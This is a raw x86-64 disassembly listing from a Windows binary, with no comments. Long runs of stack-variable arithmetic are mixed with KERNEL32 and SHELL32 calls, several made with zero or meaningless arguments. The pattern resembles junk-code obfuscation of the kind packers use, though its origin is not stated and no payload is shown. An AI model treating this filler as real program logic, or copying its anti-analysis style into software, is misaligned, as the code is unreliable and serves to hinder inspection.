movsx ecx, byte [rsp + 0x342]
and eax, ecx
mov byte [rsp + 0x343], al
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x9710]
mov qword [rsp + 0x9a88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a88]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9780], rax
movzx eax, word [rsp + 0x1384]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c8c], ax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x19f]
and eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov byte [rcx], al
mov eax, dword [rsp + 0x4658]
mov rcx, qword [rsp + 0x9998]
mov qword [rsp + 0x9a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0x99e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7dd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ef8], rax
mov rax, qword [rsp + 0x9990]
mov rcx, qword [rsp + 0x96e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x277]
movsx ecx, byte [rsp + 0x129]
sar eax, cl
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a80]
mov rcx, qword [rsp + 0x8180]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0x98c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0x98c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8180], rax
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
movzx eax, word [rsp + 0x1384]
movzx ecx, word [rsp + 0x1c7c]
and eax, ecx
mov rcx, qword [rsp + 0x96c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x343]
sar eax, cl
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8500], rax
lea rdx, [rsp + 0x45e4]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46bc], eax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4614], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0x82e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a80], rax
lea rdx, [rsp + 0x46ec]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4648], eax
movsx eax, word [rsp + 0x1c94]
movsx ecx, word [rsp + 0x1c78]
xor eax, ecx
mov word [0x14022b820], ax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9998]
mov qword [rsp + 0x9a98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a98]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x99c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x345]
sub eax, ecx
mov byte [rsp + 0x344], al
lea rdx, [rsp + 0x46bc]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4644], eax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140229f20]
sar rax, cl
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99e0]
mov rcx, qword [rsp + 0x9758]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ef8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1e64
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46ec], eax
mov eax, dword [rsp + 0x4670]
sub eax, 0x74
mov dword [rsp + 0x4670], eax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x186]
and eax, ecx
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
sub eax, ecx
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c7c]
movzx ecx, word [rsp + 0x1c80]
and eax, ecx
mov word [0x140229f28], ax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9668]
mov qword [rsp + 0x9aa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9aa0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9a80], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c7c]
xor eax, ecx
mov word [rsp + 0x1a90], ax
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1c98]
shl eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
cmp dword [rsp + 0x4670], 0xce2e
ja 0x140026acf
lea rdx, [rsp + 0x45ec]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46f0], eax
mov rax, qword [0x14022b840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9780], rax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov qword [rsp + 0x9aa8], rax
cmp qword [rsp + 0x9aa8], 0
je 0x140027058
jmp 0x1400270c0
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7dd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6fd8], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x9990]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
jmp 0x140027109
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x342], al
lea rcx, [rsp + 0x45f4]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0x9ab0], rax
mov rax, qword [rsp + 0x9710]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x4374]
call fcn.14017d120
movzx eax, word [0x14022b824]
mov word [rsp + 0x1ca4], ax
mov rax, qword [rsp + 0x97d0]
mov qword [rsp + 0x9ab8], rax
movabs rax, 0x750f1934649018
cmp qword [rsp + 0x9ab8], rax
je 0x140027159
movabs rax, 0x7e1bdabf86b265
cmp qword [rsp + 0x9ab8], rax
je 0x140027214
jmp 0x140027244
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0x9998]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x45d8], eax
mov r8d, ILIsParent
mov rdx, qword [rsp + 0x99d0]
mov rcx, qword [rsp + 0x9ac0]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0x9ac8], rax
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0x9800]
mov edx, dword [rax]
mov rax, qword [rsp + 0x99c8]
mov ecx, dword [rax]
call fcn.14017d0b0
jmp 0x140027244
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1384]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x98b0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x4614]
call fcn.14017cfe0
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x343]
sar eax, cl
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
or eax, ecx
mov ecx, dword [rsp + 0x4374]
mov rdx, qword [rsp + 0x9990]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x14017bd98
movzx eax, word [rsp + 0x1384]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c8c], ax
lea rcx, [rsp + 0x9ad0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov word [rsp + 0x1ca8], ax
mov rax, qword [rsp + 0x99c8]
mov rcx, qword [rsp + 0x9998]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9800]
mov edx, dword [rsp + 0x460c]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
je 0x14002739b
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a90], ax
lea r9, [rsp + 0x9748]
lea r8, [rsp + 0x129]
mov edx, 0x79
mov ecx, 0xf8
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8180]
shl rax, cl
mov qword [rsp + 0x96d0], rax
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9800]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x4658]
call fcn.14017d0b0
jmp 0x14017bc78
mov rax, qword [rsp + 0x9788]
mov rcx, qword [rsp + 0x98c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9a20]
mov rdx, qword [rsp + 0x98e0]
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jl 0x14017bbf9
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x344], al
lea rax, [0x14022b808]
mov qword [rsp + 0x9ad8], rax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c78]
sub eax, ecx
mov word [0x140229f34], ax
mov rax, qword [rsp + 0x9998]
mov ecx, dword [rsp + 0x46ac]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x45c8]
mov edx, dword [rsp + 0x4658]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400274cd
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4614]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x447c], eax
lea r9, [rsp + 0x9890]
lea r8, [rsp + 0x1e7f0]
lea rdx, [rsp + 0x9728]
lea rcx, [rsp + 0x460c]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x4620], eax
movzx edx, word [rsp + 0x1384]
mov rax, qword [rsp + 0x9750]
movzx ecx, byte [rax]
call fcn.14017d0e0
jmp 0x14017bba4
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
mov dword [rsp + 0x46f4], ecx
movsx edx, byte [rsp + 0x129]
movzx ecx, dl
mov edx, dword [rsp + 0x46f4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14002756f
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9750]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ff8], rax
mov edx, dword [rsp + 0x45d8]
mov rax, qword [rsp + 0x99c8]
mov ecx, dword [rax]
call fcn.14017d0b0
jmp 0x14017bba4
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov dword [rsp + 0x46f8], eax
cmp dword [rsp + 0x46f8], 0
je 0x1400275a1
cmp dword [rsp + 0x46f8], 0xa6e
je 0x1400277ab
jmp 0x1400277fb
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [rsp + 0x1c78]
and eax, ecx
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0x8500]
mov rcx, qword [rsp + 0x9870]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov rdx, qword [rsp + 0x9878]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x14002762b
movzx eax, word [rsp + 0x1a90]
movzx ecx, word [rsp + 0x1c7c]
or eax, ecx
mov word [rsp + 0x1c8c], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x8078]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140229f20], rax
jmp 0x1400277a9
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
sub eax, ecx
movzx ecx, word [rsp + 0x1384]
mov dword [rsp + 0x46fc], ecx
movzx edx, word [rsp + 0x1c8c]
movzx ecx, dl
mov edx, dword [rsp + 0x46fc]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14002768c
mov rax, qword [rsp + 0x9a80]
mov rcx, qword [rsp + 0x82e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8078], rax
jmp 0x1400277a9
xor r9d, r9d
xor r8d, r8d
mov edx, 0x957d
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e4], eax
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7c50], rax
movsx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sar eax, cl
movsx ecx, word [rsp + 0x1c78]
movsx edx, word [rsp + 0x1c84]
add ecx, edx
cmp eax, ecx
jle 0x1400277a9
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9660], rax
mov r8d, 1
lea rdx, [rsp + 0x9ae0]
lea rcx, [rsp + 0x97a0]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x4700], eax
movzx eax, word [rsp + 0x1c80]
movzx ecx, word [rsp + 0x1ca4]
and eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x344]
and eax, ecx
mov rcx, qword [rsp + 0x96a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45d8], eax
lea rcx, [rsp + 0x1e7f0]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0x9ae8], rax
jmp 0x1400277fb
mov rax, qword [0x14022b808]
movzx ecx, al
mov rax, qword [rsp + 0x9650]
shr rax, cl
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x342]
xor eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x9668]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x4374]
call fcn.14017d120
cmp dword [rsp + 0x465c], 0x3637
jb 0x140027ac7
mov eax, dword [rsp + 0x4374]
mov ecx, dword [0x140229f2c]
or ecx, eax
mov eax, ecx
mov dword [0x140229f30], eax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c98]
shl eax, cl
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17d8], ax
movzx eax, word [rsp + 0x1384]
movzx ecx, word [rsp + 0x1c7c]
add eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [0x14022b840]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0x9a68]
mov rcx, qword [rsp + 0x9ad8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6fd8], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x277]
sar eax, cl
mov byte [rsp + 0x129], al
mov eax, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x4374]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov dword [rcx], eax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022b824], ax
mov eax, dword [rsp + 0x465c]
sub eax, 0xe0
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0x9660]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ca8], ax
movzx eax, byte [rsp + 0x344]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x99c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x44e0], eax
mov eax, dword [rsp + 0x4614]
movzx ecx, al
mov eax, dword [rsp + 0x447c]
shl eax, cl
mov rcx, qword [rsp + 0x97b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8500]
mov rcx, qword [rsp + 0x99e0]
mov qword [rsp + 0x9af0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9af0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9a00], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa0c7
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46ec], eax
lea rdx, [rsp + 0x45e8]
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96d8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1ca0]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x97e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022b818]
mov qword [rcx], rax
jmp 0x1400277fb
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
div dword [rsp + 0x4374]
mov ecx, dword [rsp + 0x4614]
mov rdx, qword [rsp + 0x98e8]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jbe 0x140027b9e
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x1c78]
xor eax, ecx
mov word [rsp + 0x1c88], ax
movzx eax, word [rsp + 0x1ca8]
movzx ecx, word [rsp + 0x1c80]
sar eax, cl
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x97b8]
mov rcx, qword [rsp + 0x98e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9988]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9870], rax
mov r8d, 0x4e
lea rdx, [rsp + 0x9af8]
lea rcx, [rsp + 0x46e0]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x4704], eax
jmp 0x14017bb42
mov rax, qword [rsp + 0x9808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a48]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0xa9]
mov rdx, qword [rsp + 0x96e8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x14017baf3
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96d0]
mov rdx, qword [0x140229f20]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x14017ba8c
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb30], ax
mov rax, qword [0x14022b808]
mov qword [rsp + 0x9b00], rax
cmp qword [rsp + 0x9b00], 0
je 0x140027c49
jmp 0x14017ba47
xor r9d, r9d
xor r8d, r8d
mov edx, 0x42b4
mov rcx, qword [rsp + 0x9a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4708], eax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x14022b840]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc44e
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4694], eax
mov rax, qword [rsp + 0x9a00]
mov qword [rsp + 0x9b08], rax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
lea rdx, [rsp + 0x46dc]
mov rcx, qword [rsp + 0x9648]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x470c], eax
movsx eax, byte [0x14022b811]
movsx ecx, byte [rsp + 0x186]
sub eax, ecx
mov byte [rsp + 0x343], al
movsx eax, word [rsp + 0x1c9c]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10c0], ax
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9888]
movzx eax, word [rax]
mov word [0x14022b850], ax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [0x14022b838]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov word [rsp + 0x1cac], ax
movsx eax, word [rsp + 0x1c84]
movsx ecx, word [rsp + 0x10c0]
and eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9668]
mov qword [rsp + 0x9b10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b10]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9870]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c20], rax
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x186], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov eax, dword [rsp + 0x447c]
mov dword [rsp + 0x4710], eax
movzx eax, word [rsp + 0x1c7c]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
mov qword [0x14022b858], rax
lea rax, [rsp + 0x345]
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4658]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x39f0], eax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ca0], ax
movzx eax, word [rsp + 0x1a90]
mov word [rsp + 0x1cb0], ax
mov rax, qword [rsp + 0x97b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4374]
shl eax, cl
mov dword [rsp + 0x4710], eax
lea rax, [rsp + 0x342]
mov qword [rsp + 0x9b20], rax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0x9730]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9ad8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c98]
movsx ecx, word [rsp + 0x1c78]
sar eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x275f
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4714], eax
lea rax, [rsp + 0x1c80]
mov qword [0x14022b860], rax
mov rax, qword [rsp + 0x9710]
mov rcx, qword [rsp + 0x8180]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0x9660]
mov rcx, qword [rsp + 0x9a80]
and rcx, rax
mov rax, rcx
